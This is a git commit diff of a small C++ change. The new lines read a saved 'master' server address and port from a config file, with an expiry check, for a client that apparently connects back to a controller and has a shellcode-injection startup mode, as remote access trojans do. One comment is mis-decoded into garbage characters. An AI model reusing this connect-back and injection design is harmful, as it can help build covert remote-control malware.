TinyRun&TestRun: Read configuration when it's available

This commit is contained in:
yuanyuanxiang
2025-07-27 15:20:16 +08:00
parent c9d5e82037
commit c4a613a2e1
3 changed files with 68 additions and 5 deletions

View File

@@ -259,6 +259,15 @@ int main(int argc, const char *argv[])
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
iniFile cfg(CLIENT_PATH);
auto now = time(0);
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
}
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD><EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
if (g_ConnectAddress.iStartup == Startup_InjSC)
{